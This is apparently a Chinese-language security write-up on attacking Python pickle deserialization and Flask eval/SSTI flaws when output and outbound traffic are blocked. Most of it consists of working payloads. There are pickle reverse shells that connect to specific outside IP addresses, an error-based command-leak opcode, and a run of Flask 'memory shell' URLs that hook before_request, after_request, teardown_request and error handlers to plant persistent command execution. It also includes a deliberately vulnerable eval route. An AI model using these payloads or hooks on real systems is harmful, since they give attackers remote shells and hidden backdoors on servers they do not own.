无回显不出网:debug报错到新版Flask内存马
无回显但是出网--反弹shell,报错带出 服务端安装有python的反弹shell import pickle import os class tttang(object): def __reduce__(self): a=""" python -c 'import socket,subprocess,os;s=socket.socket(socket.
无回显但是出网--反弹shell,报错带出
服务端安装有python的反弹shell
import pickle
import os
class tttang(object):
def __reduce__(self):
a="""
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("124.222.255.142",7777));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'"""
return (os.system,(a,))
a = tttang()
pickle.loads(pickle.dumps(a))
基础反弹shell
import pickle
import os
class tttang(object):
def __reduce__(self):
a='__import__(\"os\").popen(\'bash -c \"bash -i >& /dev/tcp/8.130.110.182/2333 0>&1\"\').read()'
return (eval,(a,))
a = tttang()
pickle.loads(pickle.dumps(a))
不出网,debug模式下利用报错
通过eval调用exec手动抛出错误,eval只能执行Python表达式,并不能执行python语句,而raise 是一个用于引发异常的语句
from urllib.parse import quote
exc = "raise Exception(__import__('os').popen('whoami').read())"
opcode = f'''cconfig
notadmin
(S'admin'
S'yes'
u0(cconfig
backdoor
(S'exec("{exc}")'
lo.'''
print(quote(opcode))
不出网,非debug模式下利用内存马
环境:
from flask import Flask,request
from flask import render_template_string
app = Flask(__name__)
@app.route('/')
def hello_world():
return 'Hello World'
@app.route('/test',methods=['GET', 'POST'])
def test():
# # template = '''
# # <div class="center-content error">
# # <h1>Oops! That page doesn't exist.</h1>
# # <h3>%s</h3>
# # </div>
# # ''' %(request.values.get('mixian'))
#
# return render_template_string(template)
eval(request.args.get('cmd'))
return "ook"
if __name__ == '__main__':
app.run()
旧版本内存马
{{url_for.__globals__['__builtins__']['eval'](\"app.add_url_rule('/shell', 'myshell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd')).read())\",{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']})}}
新版本下内存马
访问http://127.0.0.1:5000/test?cmd=app.add_url_rule('/shell','shell',lambda :"123")

新版本下add_url_rule不再适用,会被check
@app.before_request
可以通过此方式添加函数来创建新路由
在 Flask 中,before_request 是一个装饰器,它用于==在请求处理之前执行特定的函数==。
from flask import Flask, request
app = Flask(__name__)
@app.before_request
def before_request():
# 执行一些操作,例如进行身份验证
if not request.headers.get("Authorization"):
return "Unauthorized", 401
跟进到函数的底层逻辑

看到最后:
self.before_request_funcs.setdefault(None, []).append(f)
return f

简而言之这里的f就是我们添加的函数
访问http://127.0.0.1:5000/test?cmd=app.before_request_funcs.setdefault(None, []).append(lambda:"123")
成功写入之后,可以看到我们的匿名函数lambda在每次请求前都会执行

下一步创建一个参数
传入http://127.0.0.1:5000/test?cmd=app.before_request_funcs.setdefault(None, []).append(lambda :__import__('os').popen(request.args.get('mixian')).read())

可以看到成功写入并进行命令执行。
接下来试试打ssti
传入http://127.0.0.1:5000/test?cmd=render_template_string({{app.before_request_funcs.setdefault(None, []).append(lambda :__import__('os').popen(request.args.get('mixian')).read())}})
因为 before_request 钩子没有像 after_request 钩子那样直接返回响应对象,而是传递给下一个处理函数。所以我们无法实现ssti
@app.after_request
app.after_request和app.before_request的区别就是一个在请求前执行注册的函数,一个在请求后执行注册的函数。底层逻辑也几乎一样。
有师傅https://xz.aliyun.com/t/14421巧妙地构造全局变量,成功利用make_response创造了一个响应
http://127.0.0.1:5000/test?cmd=app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec("global CmdResp;CmdResp=__import__('flask').make_response(__import__('os').popen(request.args.get('cmd')).read())")==None else resp)

成功打上了一个内存马
@teardown_request
在每次请求后执行(接受一个参数:用来接受错误信息)。看起来跟after_request很像也是在请求之后执行构造的函数
老规矩,先看一下底层逻辑:


确实很像,底层逻辑都这么像,将函数f添加到新创建的列表
所以Payload也一样,改改名字就行
http://127.0.0.1:5000/test?cmd=app.teardown_request_funcs.setdefault(None, []).append(lambda a:__import__('os').system('dir').read())
@errorhandler
@app.errorhandler(404)
def not_found_page(error):
return "Page not found",404
使用@app.erroehandler(404)注册一个钩子函数not_found_page(error),当发生页面404错误时,调用钩子函数,该函数第一个参数就是错误对象
先看底层逻辑,跟进register_error_handler函数


可以看到调用了两个函数:_get_exc_class_and_code和error_handler_spec[None][code][exc_class]
_get_exc_class_and_code函数获取异常类和异常类状态分别赋值给两个参数
error_handler_spec[None][code][exc_class]写入钩子函数
所以就调用register_error_handler来构造函数
http://127.0.0.1:5000/test?cmd=app.register_error_handler(None, lambda:"123")

结果报错了,而且和旧版本的add_url_rule一样的报错信息
下断点调试,找找原因

还是check的问题,检查是不是第一次调用


可以看到可以进到_get_exc_class_and_code函数,并且不会再被check
@gxngxngxn和@Ic4_F1ame两位师傅找到了可以绕过对register_error_handler的check的其他触发方法:
访问404页面,步入后看到_find_error_handler函数,跟进

看到了熟悉的两个函数
所以==可以绕过register_error_handler方法==,直接覆盖两个函数,这两个函数被调用后没有再被check。
http://127.0.0.1:5000/test?cmd=exec("global%20exe_class;global%20code;exc_class,%20code%20=%20app._get_exc_class_and_code(404);app.error_handler_spec[None][code][exc_class]%20=%20lambda:__import__(%27os%27).popen(%27dir%27).read()")
这里也是eval不能执行python语句的问题,选择使用exec
访问任意404页面即可

1